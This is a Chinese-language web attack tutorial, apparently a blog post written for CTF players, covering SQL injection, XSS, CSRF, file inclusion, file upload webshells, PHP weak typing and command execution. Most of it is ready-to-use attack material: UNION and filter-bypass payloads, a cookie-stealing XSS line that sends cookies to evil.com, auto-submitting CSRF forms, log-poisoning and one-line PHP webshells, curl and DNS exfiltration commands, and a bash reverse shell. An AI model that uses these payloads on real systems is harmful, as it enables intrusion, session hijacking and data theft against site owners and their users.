Web 网络攻防实战

Web 网络攻防实战

每个漏洞的本质都是同一件事:用户输入越界了。输入本该是数据,却被当成了代码执行。本文不堆payload,只讲清楚一件事------每个漏洞为什么存在、怎么发现、怎么利用。


一、SQL 注入

本质

用户输入被拼进SQL语句,导致输入被当作SQL代码执行。

php 复制代码
// 漏洞根源:字符串拼接
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
// 输入 1 OR 1=1 → SELECT * FROM users WHERE id = 1 OR 1=1
// 输入从"数据"变成了"SQL代码"

识别

核心判断:输入是否改变了SQL的语义结构。

复制代码
1. 注入探测字符:id=1'  id=1"  id=1)  id=1'))
2. 观察响应:
   - 报错回显 → 直接确认(看SQL错误信息)
   - 页面差异 → 布尔盲注(AND 1=1 正常 vs AND 1=2 异常)
   - 时间差异 → 时间盲注(AND SLEEP(5) 延迟5秒)
3. 不要只测URL参数------表单、Cookie、X-Forwarded-For、User-Agent 都是注入点

白盒直接看拼接:任何 $_GET/$_POST 直接出现在SQL字符串中就是漏洞。addslashes()mysql_real_escape_string() 在GBK编码下可被宽字节绕过,intval() 对字符串型注入无效。

利用

注入的核心流程只有三步:判断列数 → 找回显位 → 爆数据。

sql 复制代码
-- 1. 列数
?id=1 ORDER BY 3--+          -- 报错说明只有2列

-- 2. 回显位
?id=-1 UNION SELECT 1,2--+   -- 页面显示2 → 第2列回显

-- 3. 爆数据(沿 information_schema 逐层下钻)
?id=-1 UNION SELECT 1,database()--+
?id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+
?id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+
?id=-1 UNION SELECT 1,group_concat(username,0x3a,password) FROM users--+

没有回显时用报错注入 (extractvalue/updatexml,限32字符,超长用substr截取)或盲注(二分法逐字符猜,写脚本自动化)。

绕过

绕过的本质是让WAF/过滤认不出,但数据库能执行

过滤目标 绕过方法 原理
空格 /**/ %09 %0a () 注释/空白字符/括号替代空格
关键字SELECT sElEcT selselectect /*!SELECT*/ 大小写/双写/内联注释
引号 0x666c6167 CHAR(102,108,97,103) 十六进制/char编码替代字符串
逗号 JOIN 替代UNION列 OFFSET 替代LIMIT 语法等价替换
转义函数 %df%27 宽字节:%df%5c组成一个GBK汉字,%27逃逸

自动化

bash 复制代码
sqlmap -u "URL?id=1" --dbs                    # 爆库
sqlmap -u "URL?id=1" -D 库名 --tables         # 爆表
sqlmap -u "URL?id=1" -D 库名 -T 表名 --dump   # 拖数据
sqlmap -u "URL" --data="user=a&pass=b" --dbs  # POST注入
sqlmap -u "URL?id=1" --tamper=space2comment,between,randomcase --dbs  # 绕WAF

二、XSS 跨站脚本

本质

用户输入被原样输出到HTML页面,导致输入被当作JavaScript执行。

php 复制代码
// 漏洞根源:未转义输出
echo "搜索结果:" . $_GET['q'];
// 输入 <script>alert(1)</script> → 浏览器执行JS

识别

核心判断:输入是否出现在HTML中且未被转义。

复制代码
1. 输入唯一标记(如 xss_test_12345)→ 确认回显位置
2. 输入 <script>alert(1)</script> → 观察是否执行
3. 根据回显位置判断类型:
   - HTML标签之间 → 反射型/存储型
   - HTML属性中 → 属性注入(需要闭合属性)
   - JavaScript代码中 → DOM型(闭合script标签或利用DOM Sink)

输入点不只有URL参数和表单------User-Agent、Referer、Cookie、URL路径都可能。

利用

XSS的实战价值不是弹窗,是窃取身份。

javascript 复制代码
// Cookie窃取 --- 最核心的利用方式
new Image().src="http://evil.com/steal?c="+document.cookie

// 利用链:XSS → 窃取Cookie → 替换Cookie → 劫持会话 → 以受害者身份操作

三种类型的攻击差异:

类型 触发方式 持久性 危害
反射型 点击恶意链接 一次性 需诱骗点击
存储型 输入被存入数据库 永久 所有访问者触发
DOM型 JS直接读取输入写入页面 一次性 不经过服务端

DOM型的关键在于危险Sink:innerHTMLdocument.writeeval()setTimeout(字符串)------任何将用户输入直接写入DOM或执行的JS操作。

绕过

绕过滤的本质:用等价但未被过滤的语法达到同样效果。

html 复制代码
<!-- 过滤 <script> → 用事件属性 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

<!-- 过滤 on事件 → 换标签/换事件/大小写 -->
<img src=x ONERROR=alert(1)>

<!-- 过滤 alert → 字符串拼接/编码 -->
<script>window['al'+'ert'](1)</script>
<script>alert`1`</script>

<!-- 过滤括号 → 模板字符串/HTML实体 -->
<script>alert`1`</script>
<svg onload=alert&#40;1&#41;>

<!-- CSP绕过 -->
<!-- 允许unsafe-eval → eval('al'+'ert(1)') -->
<!-- 允许外部域 → <script src="http://evil.com/xss.js"> -->
<!-- 允许base-uri → <base href="http://evil.com/"> 劫持相对路径 -->

三、CSRF 跨站请求伪造

本质

浏览器会自动携带目标域的Cookie,攻击者构造恶意页面让用户访问,浏览器自动带上Cookie发起请求------服务端无法区分是用户主动操作还是被诱导。

复制代码
正常请求:用户点击按钮 → 浏览器带Cookie发请求 → 服务端验证Cookie通过
CSRF攻击:用户访问恶意页面 → 恶意页面自动发请求 → 浏览器同样带Cookie → 服务端同样通过

识别

核心判断:状态变更请求是否验证了来源。

复制代码
1. 抓包看请求中有没有 CSRF Token
   → 没有 → 存在CSRF
   → 删掉Token重放 → 仍成功 → Token形同虚设

2. 是否验证 Referer/Origin
   → 没有 → 存在CSRF

3. 是否仅依赖Cookie认证
   → 是 → 大概率存在CSRF

4. GET请求是否执行状态变更(改密码/删数据)
   → 是 → 极易利用

白盒关键模式:

php 复制代码
// 危险:无Token
if($_POST['new_pass']) { update_password($_POST['new_pass']); }

// 危险:Token可预测
$token = md5($uid);  // 攻击者可算出

// 危险:Token只验证存在性
if(!isset($_POST['token'])) die();  // 随便填值就过

// 安全:随机Token + 一次性 + 绑定会话
$token = bin2hex(random_bytes(32));
if($_POST['token'] !== $_SESSION['csrf_token']) die();
unset($_SESSION['csrf_token']);  // 用完即毁

利用

html 复制代码
<!-- GET型 --- 一张图片就够了 -->
<img src="http://target.com/change_pass?new=hacked123" width="0" height="0">

<!-- POST型 --- 自动提交隐藏表单 -->
<form id="f" action="http://target.com/change_pass" method="POST">
    <input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.getElementById('f').submit();</script>

<!-- AJAX型 --- 可控制Content-Type -->
fetch("http://target.com/api/action", {
    method: "POST",
    credentials: "include",
    body: "param=value"
});

绕过

防御措施 绕过方法
Referer验证 <meta name="referrer" content="no-referrer"> 删Referer头;白名单不严时注册子域名
Token验证 可预测Token直接算;不绑定用户用别人的Token;不一次性重复使用;URL中的Token通过Referer泄露
SameSite=Lax GET请求仍携带Cookie,改用GET型CSRF
JSON Content-Type 某些框架不校验Content-Type,用表单发送JSON格式的值

四、文件包含

本质

服务端根据用户输入决定包含哪个文件,攻击者控制路径后可以包含任意文件------被包含的文件会被当作代码执行。

php 复制代码
// 漏洞根源:参数控制文件路径
include($_GET['page']);
// 输入 page=../../../etc/passwd → 读取系统文件
// 输入 page=php://input → 执行POST体中的PHP代码

识别

URL参数出现文件名/路径语义时重点测试。

复制代码
?page=about   → 可能是 include($_GET['page'] . '.php')
?file=content → 可能是 include($_GET['file'] . '.php')
?action=login → 可能是 include('pages/' . $_GET['action'] . '.php')

测试方法:
1. ?page=../../../etc/passwd → 能读取 → 确认LFI
2. ?page=php://filter/convert.base64-encode/resource=index.php → 返回base64源码 → 确认LFI

白盒搜索危险函数:includerequireinclude_oncerequire_oncefile_get_contentsreadfile------参数可被用户控制就是漏洞。

利用

LFI的利用分两条线:读文件和执行代码。

复制代码
读文件线:
  ?page=../../../etc/passwd                              → 读系统文件
  ?page=php://filter/convert.base64-encode/resource=xxx  → 读PHP源码(防执行)

执行代码线(关键:如何把PHP代码写进可被包含的文件):
  php://input → POST体直接传PHP代码(需allow_url_include=On)
  data://text/plain,<?php system('id');?>                → data伪协议执行代码
  日志包含 → 先在User-Agent注入代码,再包含/var/log/apache2/access.log
  Session包含 → 先在登录表单注入代码,再包含/tmp/sess_<PHPSESSID>

日志包含是最常用的LFI→RCE手法:

bash 复制代码
# Step1:在User-Agent中注入PHP代码
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step2:包含日志文件,通过cmd参数执行命令
?page=../../../var/log/apache2/access.log&cmd=cat /flag

RFI(远程文件包含)更直接------?page=http://evil.com/shell.txt,但需要 allow_url_include=On,实战中较少见。

绕过

php 复制代码
// 后缀固定:include($_GET['page'] . '.php')
?page=../../../etc/passwd%00           // %00截断(PHP<5.3.4)
?page=php://filter/.../resource=index  // filter伪协议不受后缀影响

// 前缀固定:include('pages/' . $_GET['page'])
?page=../../../etc/passwd              // 目录穿越
?page=..%252f..%252f..%252fetc/passwd  // 双编码绕过

五、文件上传

本质

服务端允许用户上传文件但未严格校验文件类型/内容,攻击者上传可执行的脚本文件(WebShell),通过访问该文件获得服务器控制权。

识别

复制代码
1. 找上传点(头像/附件/图片/导入)
2. 判断服务端语言(响应头 X-Powered-By / Server)
3. 上传 .php 测试是否被拦截
4. 抓包判断:前端验证(改包即可绕)vs 后端验证(需分析逻辑)

利用

核心武器是一句话木马 + 绕过上传限制。

php 复制代码
// 一句话木马
<?php @eval($_POST['cmd']); ?>

// 连接方式:用AntSword等工具连接,POST传 cmd=phpinfo();

直接上传被拦截时的攻击思路:

复制代码
上传 .php 被拦截
  → 换后缀:.php5 .phtml .pht(看服务端是否解析)
  → 大小写:.PhP
  → 双写:.pphphp(过滤一次后变.php)
  → Windows特性:.php 、.php.、.php::$DATA

换后缀也不行
  → 上传图片马 + 配合文件包含执行
  → 上传 .htaccess 让图片当PHP解析
  → 上传 .user.ini(auto_prepend_file=shell.jpg)

Content-Type被检查
  → 抓包改 Content-Type: image/jpeg

文件内容被检查(文件头)
  → 图片马:GIF89a<?php @eval($_POST['cmd']); ?>
  → copy normal.jpg/b + shell.php/a webshell.jpg

二次渲染(图片被重新处理)
  → 对比上传前后图片,找到未修改区域注入代码

先保存再删除(条件竞争)
  → 并发上传+访问,在删除前执行代码
  → 木马内写创建新文件的逻辑:fputs(fopen('s.php','w'),'木马代码')

.htaccess攻击------上传配置文件让服务器把图片当PHP执行:

apache 复制代码
AddType application/x-httpd-php .jpg

.user.ini攻击 ------PHP的每目录配置文件,auto_prepend_file=shell.jpg 会让该目录下每个PHP文件执行前先包含shell.jpg。


六、代码审计

本质

从源码中找到用户输入到危险函数的可达路径。

方法

两条路,殊途同归:

复制代码
由内向外(敏感函数回溯):
  搜索危险函数 → 追踪参数来源 → 判断是否用户可控

由外向内(输入追踪):
  标记所有用户输入 → 追踪数据流向 → 判断是否到达危险函数

危险函数清单:

类别 函数
命令执行 system exec passthru shell_exec popen
代码执行 eval assert preg_replace(/e) create_function call_user_func
文件操作 include file_get_contents file_put_contents fopen readfile
数据库 mysql_query mysqli_query $pdo->query
反序列化 unserialize

常见漏洞模式

变量覆盖------用户输入覆盖了程序内部变量:

php 复制代码
extract($_GET);           // ?auth=1 → $auth=1
parse_str($_GET['data']); // ?data=auth=1 → $auth=1
$$key = $value;           // foreach遍历GET参数 → 任意变量覆盖

逻辑漏洞------程序逻辑存在可利用的缺陷:

php 复制代码
// 弱类型认证绕过
if($role != 'admin') die();  // role=0 → 0 != 'admin' 为false

// 先操作后校验(条件竞争)
move_uploaded_file($tmp, $path);  // 先保存
if(!check_file($path)) unlink($path);  // 再检查删除
// 攻击:在保存和删除之间访问文件

// strcmp返回NULL绕过
if(strcmp($_POST['pass'], $correct) == 0) login();
// password[]=1 → strcmp返回NULL → NULL==0 为true

正则绕过

php 复制代码
// 回溯限制绕过:pcre.backtrack_limit=1000000
// 超长输入让preg_match返回false,如果用 !preg_match 判断则绕过
// 修饰符缺失:缺/s不匹配换行,缺/i可大小写绕过

七、PHP 弱类型

本质

PHP用 == 比较不同类型时会自动转换,导致非预期相等。

复制代码
核心规则:
  字符串 vs 数字 → 字符串转数字(取开头数字部分,"abc"→0)
  "0e..." 字符串 vs 数字 → 0e是科学计数法,0的N次方=0
  null == 0 == false == "" == "0"  → 全等

利用

0e MD5碰撞------最经典的弱类型考点:

php 复制代码
// 题目:md5($a) == md5($b)
// 原理:两个不同字符串的MD5都以0e开头 → 都等于0 → 相等
QNKCDZO     → md5 = 0e830400451993494058024219903391
240610708   → md5 = 0e462097431906509019562988736854
s878926199a → md5 = 0e545993274517709034328855841020
// 构造:?a=QNKCDZO&b=240610708

数组绕过 ------当 == 升级为 === 时:

php 复制代码
// md5($a) === md5($b) → 用数组
// md5([]) 返回 NULL,NULL === NULL → true
// 构造:?a[]=1&b[]=2

strcmp绕过

php 复制代码
// strcmp($_POST['pass'], $correct) == 0
// 传数组 password[]=1 → strcmp返回NULL → NULL==0 为true

JSON类型混淆

php 复制代码
// $json->key == "admin"
// 传 {"key":0} → 0 == "admin" → true(PHP<8)
// 传 {"key":true} → true == "admin" → true

版本注意 :PHP 8 修复了大部分弱类型问题(0 == "admin" 变为 false),但CTF题目环境通常是 PHP 5/7。


八、命令执行(RCE)

本质

用户输入被传入系统命令执行函数,输入从参数变成了命令的一部分。

php 复制代码
// 漏洞根源
system("ping -c 1 " . $_GET['ip']);
// 输入 127.0.0.1;cat /flag → 执行 ping 后再执行 cat /flag

识别

白盒搜索危险函数:

php 复制代码
// 命令执行
system()  exec()  passthru()  shell_exec()  `反引号`
// 代码执行
eval()  assert()  preg_replace(/e)  create_function()

利用

命令拼接------在已有命令后追加新命令:

bash 复制代码
;       # 顺序执行:ip=1;cat /flag
|       # 管道:ip=1|cat /flag(只输出后者)
||      # 短路:ip=1||cat /flag(前者失败才执行后者)
&&      # 短路:ip=1&&cat /flag(前者成功才执行后者)
%0a     # 换行:ip=1%0acat /flag
$(cmd)  # 子shell:ip=$(cat /flag)

无回显------命令执行了但看不到输出:

bash 复制代码
# 外带数据
curl http://evil.com/$(cat /flag | base64)    # HTTP外带
nslookup $(cat /flag).evil.com                # DNS外带

# 写文件到Web目录
cat /flag > /var/www/html/f.txt

# 反弹Shell
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

绕过

空格被过滤

bash 复制代码
cat${IFS}/flag     # $IFS是内部字段分隔符
cat$IFS$9/flag     # $9通常为空
{cat,/flag}        # 花括号展开
cat</flag          # 重定向

关键字被过滤(如cat、flag):

bash 复制代码
# cat绕过
ca''t /flag        # 空串分割
c\a\t /flag        # 反斜杠
c"a"t /flag        # 引号分割
head /flag         # 换命令(head/tail/more/sort/od/rev/paste)

# flag绕过
cat /f*            # 通配符
cat /f???          # 单字符通配
a=fl;b=ag;cat /$a$b  # 变量拼接

# 编码绕过
echo Y2F0IC9mbGFn | base64 -d | bash   # base64
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")  # 十六进制printf

九、攻击链组合

真实赛题不是单漏洞,而是多个漏洞串联。常见的链:

攻击链 流程
信息泄露→RCE .git泄露→获取源码→发现文件包含点→日志包含→RCE
SQL注入→WebShell SQL注入→获取管理员密码→登录后台→上传WebShell
XSS→后台接管 XSS→窃取管理员Cookie→劫持会话→上传WebShell
SSRF→RCE SSRF→探测内网→Redis未授权→写SSH密钥/计划任务→RCE
上传+包含 上传图片马(无法直接执行)→文件包含图片马→代码执行
审计+弱类型+RCE 源码审计→弱类型绕过认证→进入命令执行分支→RCE

解题通用流程

复制代码
1. 信息收集
   源码(Ctrl+U) → JS/CSS文件 → HTTP响应头 → 目录扫描 → robots.txt → .git/.svn/.bak/.swp

2. 功能测试
   每个输入点注入探测 → 每个上传点测试 → 登录/注册/搜索功能

3. 漏洞利用
   先简单后复杂 → 单漏洞不通就想组合链

4. 找Flag
   常见位置:/flag、/flag.php、环境变量、数据库

十、工具速查

工具 用途 核心用法
Burp Suite 抓包改包 Proxy抓包→Repeater测试→Intruder爆破
SQLMap SQL注入 sqlmap -u URL --dbs --tamper 绕WAF
dirsearch 目录扫描 dirsearch -u URL -e php,html,bak
AntSword WebShell管理 连接一句话木马→文件管理/虚拟终端
CyberChef 编解码 在线 gchq.github.io/CyberChef
bash 复制代码
# 敏感文件快速检查
curl http://target.com/robots.txt
curl http://target.com/.git/HEAD
curl http://target.com/www.zip
curl http://target.com/index.php.bak

# Git泄露恢复
git-dumper http://target.com/.git/ ./output

# 端口扫描
nmap -sV -sC -p- target.com

攻防的核心逻辑:输入从数据变成代码,就是漏洞。 识别漏洞就是找输入越界的位置,利用漏洞就是构造让输入越界的payload,绕过防御就是用等价语法让过滤失效。记住这个逻辑,比记住一百个payload有用。

相关推荐
HackTwoHub1 小时前
最新Nessus2026.6.8版本主机漏洞扫描/探测工具Windows/Linux
linux·运维·服务器·安全·web安全·网络安全·安全架构
青藤云安全5 小时前
主机安全体系化建设:基础级→增强级→先进级三级进阶指南
网络安全·云安全·服务器安全·主机安全·终端安全
持梦远方8 小时前
MSF 木马制作 + 永恒之蓝漏洞上传执行木马 实战教程
网络安全
持敬chijing10 小时前
Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析·xss
持敬chijing10 小时前
Web渗透之SQL注入总结
sql·安全·web安全·网络安全·网络攻击模型·web
程序猿小三11 小时前
福建省第一届“闽盾杯“网络安全职业技能竞赛 — 备赛学习路线
开发语言·网络安全·php
m0_7381207211 小时前
HVV应急溯源基础——Linux 系统安全加固配置指南(一)
linux·运维·服务器·安全·网络安全·系统安全
顾凌陵14 小时前
RCE漏洞实战:远程命令执行
网络安全